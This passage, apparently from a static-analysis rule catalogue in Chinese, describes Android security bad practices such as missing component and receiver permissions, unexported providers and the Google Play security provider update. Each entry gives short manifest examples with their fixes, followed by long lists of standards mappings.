1 | <activity android:name=".AndroidActivity"/> |
该活动可能被恶意应用程序利用。
RECOMMENDATIONS
没有明确的访问权限的组件应该为异常。除非该组件确实需要被所有应用程序访问,否则开发人员应该通过在显式文件中明确定义访问权限来保护组件,以免其被恶意应用程序滥用。
例 2:下面是使用明确分配的访问权限重写的上文中活动组件的声明。
1 | <activity android:name=".AndroidActivity" android:permission="FriendsOnly"/> |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 265
[2] Standards Mapping - Common Weakness Enumeration - (CWE) CWE ID 265
[3] Standards Mapping - FIPS200 AC
[4] Standards Mapping - FIPS200 - (FISMA) AC
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[7] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[8] Standards Mapping - OWASP Top 10 2004 - (OWASP 2004) A2 Broken Access Control
[9] Standards Mapping - OWASP Top 10 2010 - (OWASP 2010) A6 Security Misconfiguration
[10] Jesse Burns Developing Secure Mobile Applications for Android
[11] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 - (PCI 1.1) Requirement 6.5.10
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 - (PCI 1.2) Requirement 7.1.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[20] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[21] Standards Mapping - SANS Top 25 2009 - (SANS 2009) Improper Access Control - CWE ID 285
[22] The AndroidManifest.xml File
[23] William Enck, Machigar Ongtang, and Patrick McDaniel Understanding Android Security
[24] William Enck and Patrick McDaniel Understanding Android’s Security Framework
[25] Using Permissions
[26] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[27] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.1 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.1 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.1 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.1 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.1 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.1 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.1 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[37] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Android Bad Practices: Missing Google Play Services Updated Security Provider
ABSTRACT
应用程序不使用 Google Play 服务更新的安全提供程序,这可能使其未来易遭受 OpenSSL 库中漏洞的攻击。
EXPLANATION
Android 依赖于可提供安全网络通信的安全提供程序。 但是,有时漏洞存在于默认安全提供程序中。 为了防范这些漏洞,Google Play 服务可提供用于自动更新设备安全提供程序的方法,以防御已知盗取手段。 通过调用 Google Play 服务方法,您的应用程序可以确保其在具有最新更新的设备上运行,以防御已知盗取手段。
RECOMMENDATIONS
修补安全提供程序最简单的方法是调用同步法 installIfNeeded()。 如果在等待操作完成的过程中用户体验不会受到线程阻止的影响,则此方法适用,否则它应该以异步方式完成。
示例: 以下代码可实现用于更新安全提供程序的同步适配器。 由于同步适配器在后台运行,因此在等待安全提供程序更新的过程中若出现线程阻止也没有影响。 同步适配器调用 installIfNeeded() 以更新安全提供程序。 如果方法正常返回,则同步适配器了解安全提供程序为最新程序。 如果方法抛出异常,则同步适配器可采取相应的操作(如提示用户更新 Google Play 服务)。
1 | public class SyncAdapter extends AbstractThreadedSyncAdapter { |
REFERENCES
[1] Updating Your Security Provider to Protect Against SSL Exploits Google
[2] Standards Mapping - Common Weakness Enumeration CWE ID 297, CWE ID 296, CWE ID 298, CWE ID 299
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [25] CWE ID 295
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000185, CCI-001941, CCI-001942, CCI-002418, CCI-002420, CCI-002421, CCI-002422
[5] Standards Mapping - FIPS200 CM, SC
[6] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 2.7.1 Out of Band Verifier Requirements, 2.7.2 Out of Band Verifier Requirements, 2.7.3 Out of Band Verifier Requirements, 2.8.4 Single or Multi Factor One Time Verifier Requirements, 2.8.5 Single or Multi Factor One Time Verifier Requirements, 3.7.1 Defenses Against Session Management Exploits, 6.2.1 Algorithms, 9.2.3 Server Communications Security Requirements, 9.2.4 Server Communications Security Requirements
[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[10] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[11] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[12] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[13] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[14] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 4.1, Requirement 6.5.4
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7.1 - Use of Cryptography
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001620 CAT II, APSC-DV-001630 CAT II, APSC-DV-001810 CAT I, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[41] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Android Bad Practices: Missing Network Security Configuration
ABSTRACT
应用程序不使用网络安全配置。
EXPLANATION
网络安全配置功能使应用程序可在安全的声明性配置文件中自定义其网络安全设置,而无需修改应用程序代码。 可以为特定域和特定应用程序配置这些设置。 此功能的主要功能性如下所示:
自定义信任锚点: 自定义信任哪些证书颁发机构 (CA) 以确保应用程序的安全连接。 例如,信任特定的自签名证书或者限制应用程序信任的公共 CA 组。
仅调试覆盖: 安全地调试应用程序中的安全连接,不会对现有客户群造成额外风险。
明文通信选择退出: 防止应用程序意外使用明文通信。
证书固定: 将应用程序的安全连接限定为特定证书。
RECOMMENDATIONS
设置网络安全配置以改进应用程序的安全状态。
REFERENCES
[1] Network Security Configuration Google
[2] Standards Mapping - Common Weakness Enumeration CWE ID 297
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [25] CWE ID 295
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-000068, CCI-001453, CCI-002418, CCI-002420, CCI-002421, CCI-002422, CCI-002890, CCI-003123
[5] Standards Mapping - FIPS200 CM, SC
[6] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-8 Transmission Confidentiality and Integrity (P1)
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 2.7.1 Out of Band Verifier Requirements, 2.7.2 Out of Band Verifier Requirements, 2.7.3 Out of Band Verifier Requirements, 2.8.4 Single or Multi Factor One Time Verifier Requirements, 2.8.5 Single or Multi Factor One Time Verifier Requirements, 3.7.1 Defenses Against Session Management Exploits, 6.2.1 Algorithms, 9.2.1 Server Communications Security Requirements, 9.2.3 Server Communications Security Requirements
[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M3 Insufficient Transport Layer Protection
[10] Standards Mapping - OWASP Top 10 2004 A3 Broken Authentication and Session Management
[11] Standards Mapping - OWASP Top 10 2007 A9 Insecure Communications
[12] Standards Mapping - OWASP Top 10 2010 A9 Insufficient Transport Layer Protection
[13] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[14] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 4.1, Requirement 6.5.10
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 4.1, Requirement 6.3.1.4, Requirement 6.5.9
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 4.1, Requirement 6.5.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 4.1, Requirement 6.5.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 4.1, Requirement 6.5.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 4.1, Requirement 6.5.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 4.1, Requirement 6.5.4
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.2 - Sensitive Data Protection, Control Objective 7.1 - Use of Cryptography
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3250.1 CAT I, APP3250.2 CAT I, APP3250.3 CAT II, APP3250.4 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000160 CAT II, APSC-DV-000170 CAT II, APSC-DV-001940 CAT II, APSC-DV-001950 CAT II, APSC-DV-002440 CAT I, APSC-DV-002450 CAT II, APSC-DV-002460 CAT II, APSC-DV-002470 CAT II
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
[41] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Transport Layer Protection (WASC-04)
Android Bad Practices: Missing Receiver Permission
ABSTRACT
程序会在未指定接收者权限的情况下发送广播。
EXPLANATION
在未指定接收者权限的情况下发送的广播可供任何接收者访问。如果这些广播包含敏感数据或发送到恶意接收者,可能会对应用程序造成危害。
例 1:下列代码会在未指定接收者权限的情况下发送广播。
1 | ... |
RECOMMENDATIONS
最好在发送广播时明确指定接收者权限。这样可以限制仅为具有所需权限的接收者显示广播数据。此外,还应该详细审查广播消息中包含的数据。
例 2:以下代码会发送广播并明确指定所需的接收者权限。
1 | ... |
REFERENCES
[1] Using Permissions
[2] Jesse Burns Developing Secure Mobile Applications for Android
[3] William Enck, Machigar Ongtang, and Patrick McDaniel Understanding Android Security
[4] William Enck and Patrick McDaniel Understanding Android’s Security Framework
[5] Standards Mapping - Common Weakness Enumeration CWE ID 265
[6] Standards Mapping - FIPS200 AC
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[8] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[9] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[10] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[11] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6, Requirement 7.1.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[18] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[19] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[20] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.1 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.1 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.1 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.1 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.1 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.1 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.1 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Android Bad Practices: Missing exported Flag or Component Permission
ABSTRACT
程序未为组件明确分配访问权限。
EXPLANATION
任何应用程序都能访问在显式定义中未明确分配访问权限的公共组件。默认情况下,对于将 android:minSdkVersion 或 android:targetSdkVersion 设为“16”或更低的应用程序,会导出 Android 内容提供者。而对于将其中任何一种属性设为“17”或更高的应用程序,默认值为“false”。
例 1:下面是未使用明确访问权限或导出标记声明的 Android 内容提供者示例。
1 | <provider android:name=".ContentProvider"/> |
RECOMMENDATIONS
没有明确的访问权限的组件应该为异常。开发人员应该通过在显式文件中明确定义组件和访问权限的导出状态来保护组件,以免其被恶意应用程序滥用。
例 2:下面是使用明确分配的访问权限重写的上文中内容提供者的声明。
1 | <provider android:name=".ContentProvider" android:permission="content.permission.READ_AND_WRITE_CONTENT"/> |
或者明确将提供者设为专用组件,特别是在使用 exported 的默认值为 false 的 SDK 版本时。
1 | <provider android:name=".ContentProvider" android:exported="false"/> |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 265
[2] Standards Mapping - Common Weakness Enumeration - (CWE) CWE ID 265
[3] Standards Mapping - FIPS200 AC
[4] Standards Mapping - FIPS200 - (FISMA) AC
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[7] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[8] Standards Mapping - OWASP Top 10 2004 - (OWASP 2004) A2 Broken Access Control
[9] Standards Mapping - OWASP Top 10 2010 - (OWASP 2010) A6 Security Misconfiguration
[10] Jesse Burns Developing Secure Mobile Applications for Android
[11] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 - (PCI 1.1) Requirement 6.5.10
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 - (PCI 1.2) Requirement 7.1.1
[15] Standards Mapping - SANS Top 25 2009 - (SANS 2009) Improper Access Control - CWE ID 285
[16] The AndroidManifest.xml File
[17] William Enck, Machigar Ongtang, and Patrick McDaniel Understanding Android Security
[18] William Enck and Patrick McDaniel Understanding Android’s Security Framework
[19] Using Permissions
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[25] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[26] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[27] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Android Bad Practices: Mixed Component Functionality
ABSTRACT
此接收者组件注册后可以接收系统和其他组件的消息。
EXPLANATION
系统广播可以发送给专用组件。组件需要是公共的才能从第三方接收非系统广播。如果通过注册让同一个组件同时接收系统和非系统广播,则该组件的部分功能(系统部分)将毫无必要的暴露给第三方。
RECOMMENDATIONS
为使系统广播部分为专用部分,应将该组件分为两部分,从而降低应用程序的暴露面。应将处理系统消息的功能与处理其他消息的功能分开。
REFERENCES
[1] E. Chin, A. P. Felt, K. Greenwood, and D. Wagner Analyzing Inter-Application Communication in Android
[2] Standards Mapping - Common Weakness Enumeration CWE ID 265
[3] Standards Mapping - FIPS200 AC
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[6] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2010 - (OWASP 2010) A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[15] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[16] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.2 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3480.2 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3480.2 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3480.2 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3480.2 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3480.2 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3480.2 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authorization (WASC-02)
Android Bad Practices: Provider Permission Defined
ABSTRACT
程序声明内容提供者具有读取和写入 permission。
EXPLANATION
声明为具有读取和写入 permission 的内容提供者可供请求对此提供者进行读取或写入访问的实体访问。但在许多情况下,就像文件系统中的文件一样,这些需要读取访问由内容提供者存储的数据的实体不应该被允许修改数据。设置 permission 属性不允许区分数据用户与影响数据完整性的交互。
例 1:下面是声明为具有读取和写入 permission 的内容提供者示例。
1 | <provider android:name=".ContentProvider" android:permission="content.permission.READ_AND_WRITE_CONTENT"/> |
RECOMMENDATIONS
与 UNIX 文件权限中的情况类似,Android 权限框架允许为内容提供者定义单独的读取和写入权限。即使读取和写入权限之间的区别并不明显,开发者也应该始终定义单独的读取和写入权限。
例 2:下面是在上文中声明为具有单独的读取和写入权限的内容提供者示例。
1 | <provider android:name=".ContentProvider" |
REFERENCES
[1] Provider Element
[2] Path Permission Element
[3] Using Permissions
[4] Jesse Burns Developing Secure Mobile Applications for Android
[5] William Enck, Machigar Ongtang, and Patrick McDaniel Understanding Android Security
[6] William Enck and Patrick McDaniel Understanding Android’s Security Framework
[7] Standards Mapping - Common Weakness Enumeration CWE ID 265
[8] Standards Mapping - FIPS200 AC
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-3 Access Enforcement (P1)
[10] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M5 Poor Authorization and Authentication
[11] Standards Mapping - OWASP Top 10 2004 A2 Broken Access Control
[12] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 7.1.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 7.1.2
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 7.1.2
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 7.1.2
[19] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 285
[20] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 285
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3480.2 CAT II
